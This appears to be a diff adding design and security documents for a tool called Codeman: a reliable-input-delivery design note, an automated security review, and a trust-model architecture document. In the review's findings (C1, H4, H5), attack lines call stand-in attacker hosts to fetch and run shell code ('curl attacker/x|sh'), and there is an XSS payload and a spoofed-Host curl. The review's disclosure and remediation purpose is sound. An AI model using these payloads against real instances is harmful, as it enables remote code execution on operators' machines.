+- Each input frame gets a **monotonic per-session `seq`**. Frame records
+  (`{seq,data,useMux,ts,tries,sentAt}`) live in `_pendingDeliveries`
+  (`Map<sessionId, record[]>`), persisted (debounced, + flushed on `pagehide`/
+  `visibilitychange`) to `localStorage['codeman:pendingInput']`. The seq counters
+  persist too, so seqs stay monotonic across reloads (never reset — a reset would
+  let the server treat fresh input as an already-applied duplicate).
+- **Delivery** (`_drainSession`):
+  - **WS path** — when the socket is `OPEN` for the session, send each not-yet-sent
+    record (`sentAt === 0`) in seq order over the single ordered stream. Records
+    stay pending until the server's `{t:'ia',seq}` ACK removes them.
+  - **POST path** — when no WS, POST records in order, awaiting each (the HTTP 2xx
+    *is* the ACK). A 404/410 (session gone) drops the record rather than retry
+    forever.
+- **Half-open recovery** (`_redeliverSweep`, every 2s): if the active WS session's
+  oldest record is unacked past `_reliableAckTimeoutMs` (4s), the socket is assumed
+  dead — `ws.close()` forces a fast reconnect; `onopen` (`_onWsReady`) resets
+  `sentAt = 0` and re-sends everything pending. Also re-drains background sessions
+  over POST, and fires on SSE-reconnect / `online`.
+- The connection indicator shows pending count/bytes (`_pendingBytes`).
+
+### Server
+
+- **`Session.shouldApplyInput(clientId, seq)`** — returns `true` exactly once per
+  `(clientId, seq)`: the first time a seq strictly greater than that client's
+  last-applied is seen. A replayed/lower seq returns `false`. Bounded MRU map
+  (`MAX_INPUT_DEDUP_CLIENTS = 256`).
+- **WS route** (`ws-routes.ts`) — parses optional `cid`/`seq` on `{t:'i'}`; applies
+  via `shouldApplyInput` (skips a duplicate, still ACKs with `{t:'ia',seq}` so the
+  client drops it). Untagged frames apply unconditionally (no behavior change).
+- **POST route** (`/api/sessions/:id/input`) — optional `seq`/`clientId` in
+  `SessionInputWithLimitSchema`; a deduped duplicate returns 200 without writing
+  (the 200 is the client's ACK). `curl`/legacy callers omit the fields and always
+  apply.
+
+## Known limitation
+
+Dedup state is in-memory on the server. A **server restart** between a write and
+the client's redelivery of that same seq could re-apply it (a rare duplicate).
+This is a deliberate trade-off: favor *never losing input* over a rare duplicate
+across the narrow restart window.
+
+## Tests
+
+- `test/reliable-input-dedup.test.ts` — `Session.shouldApplyInput` exactly-once
+  semantics (monotonic, per-client, gap-tolerant, eviction-safe).
+- `test/routes/session-routes.test.ts` — POST `/input` applies a tagged
+  `(clientId, seq)` once on redelivery; untagged input always applies.

+# Codeman Security Review — 2026-06-09
+
+> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
+> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
+> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
+> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
+> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
+> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
+> trusts an unsigned git tag — needs signing infra) and dropping CSP
+> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
+> known XSS). Per‑finding breakdown in the *Implementation status* section below;
+> regression tests in `test/network-host-guard.test.ts`.
+
+**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
+
+## TL;DR — the one thing that matters
+
+The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
+
+- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
+- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
+
+Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
+
+> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
+
+---
+
+## CRITICAL
+
+### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
+`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
+
+A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
+
+**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
+
+### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
+`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
+
+A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
+
+**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
+
+---
+
+## HIGH
+
+### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
+`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
+`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
+**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
+
+### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
+`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
+`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
+**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
+
+### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
+`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
+The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
+**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
+
+### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
+`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
+`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
+**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
+
+### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
+`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
+WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
+**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
+
+### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
+`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
+If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
+**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
+
+### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
+`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.

+
+## MEDIUM
+
+| # | Finding | Location | Fix |
+|---|---------|----------|-----|
+| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
+| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
+| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
+| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
+| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
+| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
+| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
+
+---
+
+## LOW / INFO (hardening)
+
+- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
+- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
+- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
+- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
+- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
+- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
+- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
+- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
+- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
+
+---
+
+## What's solid (credit where due)
+
+The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
+
+- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
+- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
+- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
+- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
+- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
+- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.
+
+---
+
+## Implementation status (2026-06-09)
+
+Priority fixes 1–3 + 5 landed in the same session (verified live with curl/ws against an isolated instance):
+
+- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
+- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
+- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
+- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
+- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
+- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
+- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
+
+Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+
+## Remediation priority
+
+1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
+2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
+3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
+4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
+5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
+6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
+7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
+
+*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*

+## Trust model
+
+**The security boundary is the network bind plus authentication — not the code Codeman
+runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
+design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
+below exists to control *who* that is.
+
+| Actor | Reaches the UI when… | Is granted |
+|-------|----------------------|------------|
+| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
+| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
+| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
+| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
+
+**Explicitly out of scope.** Codeman is access control for the operator console, not a
+sandbox for the code that console runs. It does **not** defend against: a compromised
+local user account (loopback is trusted), malicious contents in a workspace you
+deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
+(§5).
+
+---
+
+## 1. Network binding model
+
+| Setting | Default | Source |
+|---------|---------|--------|
+| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
+| Port | `3000` | `--port` / `CODEMAN_PORT` |
+| TLS | off (`--https` to enable) | `--https` |
+
+### Bind host classification
+
+`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
+host is loopback-only. It returns `true` for:
+
+- `localhost`
+- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
+- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
+- IPv4‑mapped loopback `::ffff:127.*`
+
+It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
+The classification is **fail‑safe in the dangerous direction**: any host that is
+not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
+for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
+non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
+`127.0.0.1` for an unambiguous loopback bind.
+
+### Startup policy (the "warn, don't block" rule)
+
+At `WebServer.start()`:
+
+| Bind host | `CODEMAN_PASSWORD` | Behavior |
+|-----------|--------------------|----------|
+| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
+| loopback | set | **Start.** Auth required even locally. |
+| non‑loopback | set | **Start.** Auth protects the open bind. |
+| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
+| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
+
+> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
+> non‑loopback bind without a password. That surprised setups that "just worked"
+> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
+> default; the warning (with three concrete fixes) replaces the hard failure.
+
+The warning points at three ways to secure the instance:
+
+1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
+2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
+3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
+   — explicitly accept the risk (downgrades the warning to a one‑line note). This
+   flag is **only** an acknowledgement; it does not change reachability.
+
+`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
+address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
+server over loopback regardless of the public bind.
+
+---
+
+## 2. Authentication
+
+Auth is **optional** and controlled by env vars captured at startup:
+
+- `CODEMAN_USERNAME` (default `admin` when only a password is set)
+- `CODEMAN_PASSWORD`
+
+When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
+loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
+`onRequest` hook) runs in this order:
+
+1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
+   `/q/` short‑code path are exempt when `req.ip` is loopback (see §3). While the
+   **managed tunnel is running**, the hook‑event exemption additionally requires
+   the per‑instance `X-Codeman-Hook-Secret` header (COD‑54); failed presentations
+   are rate‑limited in a **dedicated bucket** (separate from Basic‑Auth failures)
+   so misfiring hooks can never lock out the login path.
+2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
+   allow.
+3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
+   that IP's failure counter.
+4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
+   locked out, return `429` with a `Retry-After` header.
+5. Otherwise return `401`, incrementing the IP's failure counter.
+
+### Session cookies
+
+On successful Basic auth the server issues `codeman_session`, an opaque
+server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
+context for the audit log. Tokens are **not** client‑signed — they're validated
+by presence in a server‑side map, so they cannot be forged offline.
+
+### Rate limiting / lockout recovery
+
+Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
+The QR path has its own separate limiter.
+
+The lockout check sits **after** the cookie/credential checks (step 4, not first).
+This is deliberate: a user with a **valid cookie or correct password recovers
+immediately** even while an attacker is hammering the same IP — important because
+all traffic through a tunnel shares one source IP (loopback). Wrong credentials
+are still counted and still hit the `429` at the threshold, so brute‑force
+protection is unchanged.
+
+---
+
+## 3. Request‑origin trust & the tunnel caveat
+
+`req.ip` is derived from the **TCP socket only** — Fastify runs with
+`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
+**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
+
+**However**, a reverse tunnel that connects to the server over loopback (e.g.
+`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
+with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
+requests as local:
+
+- `POST /api/hook-event` — auth‑exempt for loopback **only while no managed tunnel
+  is running**. When Codeman's own tunnel is up, the exemption requires the
+  per‑instance shared secret (`X-Codeman-Hook-Secret`, 256‑bit hex in
+  `~/.codeman/hook-secret`, mode 0600, COD‑54). Local hook commands read the
+  secret file at execution time (`$CODEMAN_HOOK_SECRET_FILE`, exported into every
+  managed session), so they keep working — tunneled internet traffic can't know
+  it. Even without the secret the impact is bounded: the route is
+  `HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
+  drive respawn signals, SSE broadcasts, push notifications, and transcript
+  watching — **not** arbitrary terminal input or file reads. ⚠️ The gate keys off
+  the **managed** tunnel — an externally run loopback proxy (your own
+  `cloudflared`, `tailscale serve`) is invisible to it, so the plain loopback
+  exemption still applies there (prefer `tailscale serve`, which authenticates at
+  the tailnet layer). Hook configs regenerated since COD‑54 always present the
+  header, so a future release can require the secret unconditionally.
+- QR `/q/` — still protected by its own short‑code brute‑force limiter
+  (10 failures / 60s against a 62⁶ space).
+
+**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
+up — it gates everything except the (secret‑gated) hook exemption and is the
+documented practice; since COD‑55 enabling the managed tunnel **refuses** to start
+without it unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly
+acknowledges the exposure. Prefer `tailscale serve` (below), which authenticates
+at the tailnet layer so untrusted clients never reach the loopback port at all.
+
+### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
+
+Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
+`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
+**before** the auth pipeline in §2 and guards **every** request — including the
+localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
+closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
+`POST`) that the loopback‑no‑password default otherwise exposed to any site the
+operator merely visits.
+
+- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
+  **every** request, all methods. A custom domain rebound to `127.0.0.1` is
+  rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
+  `localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
+  can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
+  `.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
+  Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
+  `Host` is rejected.
+- **Origin / CSRF guard.** On **state‑changing** methods (everything except
+  `GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
+  else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
+  allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
+  present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
+  rejected. This blocks the cross‑site CSRF that could previously create sessions,
+  trigger self‑update, or flip `tunnelEnabled`.
+- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
+  longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
+  self‑parses its beacon payload). This removes the CORS "simple request" CSRF
+  vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
+  JSON body into a write route with no preflight — defense‑in‑depth alongside the
+  Origin guard.
+- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
+  runs the **same** Host + Origin check and closes with code `4003` on failure
+  (anti‑CSWSH).
+
+The policy is rebuilt per request from
+`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
+tunnel at runtime updates the allowlist with no restart.
+
+> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
+> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
+> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
+> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
+> bare domain **and** all subdomains. Behaviour is covered by
+> `test/network-host-guard.test.ts`.
+

+
+## 4. Recommended remote‑access setups
+
+Ordered most‑to‑least recommended:
+
+### A. Tailscale serve (recommended)
+
+Bind loopback, let Tailscale front it on your tailnet with a real cert:
+
+```bash
+codeman web --https            # binds 127.0.0.1:3000
+tailscale serve --bg https / http://127.0.0.1:3000
+```
+
+Only devices on your tailnet can reach it; Tailscale handles identity. No app
+password and no `0.0.0.0` bind required. (This is the maintainer's production
+setup.)
+
+### B. Authenticated cloudflared tunnel + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https
+cloudflared tunnel --url https://localhost:3000
+```
+
+Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
+hook‑event exemption (§3) would otherwise be reachable from the public URL.
+
+### C. Direct LAN bind + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https --host 0.0.0.0
+```
+
+Exposes the port on all interfaces; the password is the only thing protecting it.
+
+### Avoid
+
+`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
+anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
+without a password.
+
+---
+
+## 5. File‑serving hardening
+
+Three routes serve workspace files; all require a valid `sessionId` and run the
+shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
+it `realpath`s the target **before** the boundary check and rejects anything that
+escapes the session working directory (`..`, absolute paths, and symlinks that
+resolve outside). The realpath‑before‑check ordering closes the validation‑time
+TOCTOU window.
+
+| Route | Cap | Notes |
+|-------|-----|-------|
+| `file-content` | 10 MB | text preview |
+| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
+| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
+
+### SVG / content‑type XSS
+
